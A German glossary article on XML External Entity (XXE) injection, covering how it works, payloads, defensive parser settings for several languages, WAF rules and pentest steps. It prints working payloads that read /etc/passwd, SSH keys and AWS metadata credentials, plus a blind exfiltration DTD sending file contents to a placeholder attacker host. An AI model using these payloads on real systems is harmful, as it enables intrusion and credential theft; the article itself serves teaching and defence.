Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen
Web-Sicherheit Glossar

XXE - XML External Entity Injection

XML External Entity (XXE) Injection ist eine Schwachstelle in XML-Parsern die es erlaubt externe Entitäten in XML-Dokumente einzubetten. Angreifer nutzen XXE um lokale Dateien zu lesen (/etc/passwd, AWS Credentials), SSRF-Angriffe durchzuführen, oder in seltenen Fällen Remote Code Execution zu erreichen. XXE ist in OWASP Top 10 2017 als A04 gelistet und tritt besonders bei unsicheren XML-Parser-Konfigurationen auf (libxml2, Java SAXParser, .NET XmlDocument).

XXE ist eine der tückischsten Web-Schwachstellen weil sie oft in versteckten XML-Verarbeitungspfaden auftritt - in Upload-Endpunkten, SOAP-Services, SVG-Dateien, Office-Dokumenten und REST-APIs mit XML-Support. Ein Angreifer der XXE in einem internen System findet, kann damit Cloud-Credentials aus dem Metadata-Dienst lesen und die gesamte AWS-Infrastruktur kompromittieren.

XXE Grundprinzip

Normale XML-Entitäten

<!DOCTYPE note [
  <!ENTITY name "Alice">
]>
<note>
  <to>&name;</to>
</note>

&name; wird zu “Alice” expandiert - vollständig harmlos.

External Entity - das Problem

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

Der Parser liest /etc/passwd und fügt den Inhalt ein. Der Server sendet den /etc/passwd-Inhalt in der Antwort zurück.

Warum ist das möglich?

  • Der XML-Standard erlaubt externe Entitäten
  • Viele XML-Parser aktivieren externe Entitäten standardmäßig
  • Java SAXParser: vor Java 8 u251 unsicher by default
  • libxml2: externes Entity-Loading per Default aktiv
  • .NET XmlDocument: unsicher bis .NET 4.5.2

XXE-Payloads

Dateilesen (Linux)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>

Typische Zieldateien:

PfadInhalt
file:///etc/passwdBenutzerkonten
file:///etc/shadowPasswort-Hashes (wenn Zugriff!)
file:///etc/hostsInterne Hostnamen
file:///proc/self/environUmgebungsvariablen (API Keys!)
file:///home/user/.ssh/id_rsaSSH Private Keys
file:///var/www/html/config.phpDatenbankpasswörter

Dateilesen (Windows)

  • file:///C:/Windows/system32/drivers/etc/hosts
  • file:///C:/inetpub/wwwroot/web.config - IIS-Konfiguration
  • file:///C:/Users/Administrator/.ssh/id_rsa

AWS-Credentials via XXE + SSRF

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role">
]>
<foo>&xxe;</foo>

Liest temporäre AWS-Credentials aus dem EC2 Instance Metadata Service (IMDS). In AWS-Umgebungen ein kritischer Fund, da der gesamte Account kompromittierbar ist.

Blind XXE (Out-of-Band)

Wenn keine direkte Antwort kommt, kann der Angreifer dennoch Daten exfiltrieren.

Nachweis der XXE-Anfälligkeit:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://ATTACKER-SERVER.com/test?data=">
]>
<foo>&xxe;</foo>

Der Angreifer-Server empfängt einen HTTP-Request als Nachweis.

Externe DTD auf Angreifer-Server (evil.dtd):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKER.com/?data=%file;'>">
%eval;
%exfil;

Payload an Zielsystem:

<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "http://ATTACKER.com/evil.dtd">
  %remote;
]>
<foo>trigger</foo>

XXE via SVG-Upload

SVG-Dateien sind XML. Upload-Endpunkte für “Avatar hochladen” oder “Thumbnail” sind häufig betroffen:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

Wenn das SVG gerendert wird, erscheint der Hostname im Bild.

XXE via XLSX/DOCX-Upload

Office-Dokumente sind ZIP-Archive mit XML-Dateien. Zum Manipulieren:

# 1. Originaldatei entpacken:
unzip doc.docx -d doc/
# 2. [Content_Types].xml XXE-Payload hinzufügen
# 3. Neu verpacken:
zip -r evil.docx doc/

XXE in SOAP-Webservices

POST /soap/service HTTP/1.1
Content-Type: text/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="...">
  <soap:Body>
    <getUser>
      <username>&xxe;</username>
    </getUser>
  </soap:Body>
</soap:Envelope>

XXE-Schutzmaßnahmen

Parser sicher konfigurieren

Java (SAXParser, DocumentBuilder):

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// External Entities deaktivieren:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// ODER granularer:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

DocumentBuilder builder = factory.newDocumentBuilder();

Python (defusedxml) - empfohlen:

# NICHT: lxml.etree.parse(file) - XXE-anfällig!
# GUT: defusedxml verwenden:
import defusedxml.ElementTree as ET
tree = ET.parse(file)  # Blockiert automatisch: XXE, Billion Laughs, DTD

Python (lxml) - explizit konfiguriert:

from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False
)
tree = etree.parse(file, parser)

PHP:

// libxml_disable_entity_loader() - veraltet in PHP 8.0, jetzt Standard!
// PHP 7.x:
libxml_disable_entity_loader(true);

// PHP 8.0+: externe Entitäten sind standardmäßig deaktiviert!
// Trotzdem: LIBXML_NONET Flag verwenden:
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_DTDLOAD);

.NET (XmlDocument, XmlReader):

// Unsicher (< .NET 4.5.2):
XmlDocument doc = new XmlDocument();
doc.Load(xmlInput);  // XXE-anfällig!

// Sicher:
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null;  // Externe Resolver deaktivieren
doc.Load(xmlInput);

// XmlReader (sicherer by default seit .NET 4.5.2):
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
using XmlReader reader = XmlReader.Create(input, settings);

NGINX / WAF-Ebene:

SecRule REQUEST_BODY "@rx SYSTEM\s*[\"']" \
  "id:1001,phase:2,t:none,deny,status:400,msg:'XXE Attempt'"

SecRule REQUEST_BODY "@rx <!ENTITY" \
  "id:1002,phase:2,t:none,deny,status:400,msg:'XXE Entity Declaration'"

Design-Empfehlungen

  • JSON statt XML wo möglich (JSON hat kein Entity-Problem)
  • SVG-Upload: serverseitig in PNG/JPG konvertieren (Pillow/ImageMagick)
  • Office-Dokument-Parser: spezialisierte Bibliotheken (Apache POI, python-docx) statt direktes XML-Parsing
  • Input-Validation: Content-Type + Magic Bytes prüfen

XXE-Testing

Pentest-Vorgehen

Schritt 1 - XML-Input-Punkte identifizieren:

  • Alle Endpunkte mit Content-Type: application/xml / text/xml
  • Upload-Endpunkte (SVG, DOCX, XLSX, XML)
  • SOAP-Endpoints
  • JSON-APIs mit optionalem XML-Support (Accept: application/xml)

Schritt 2 - Basis-Payload testen:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.net/test">]>
<xml>&xxe;</xml>

Kommt ein DNS-Lookup oder HTTP-Request beim Collaborator an?

Schritt 3 - Dateilesen versuchen:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<xml>&xxe;</xml>

Ist der Hostname in der Response sichtbar?

Schritt 4 - Blind XXE prüfen:

Wenn kein direkter Output erscheint, OOB-Exfiltration versuchen. interactsh eignet sich als Callback-Server.

Schritt 5 - Automatisierte Tools:

nuclei -t nuclei-templates/vulnerabilities/xxe/ -u https://target.com

Burp Pro: automatische XXE-Erkennung im Active Scan mit Burp Collaborator als OOB-Nachweis.

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung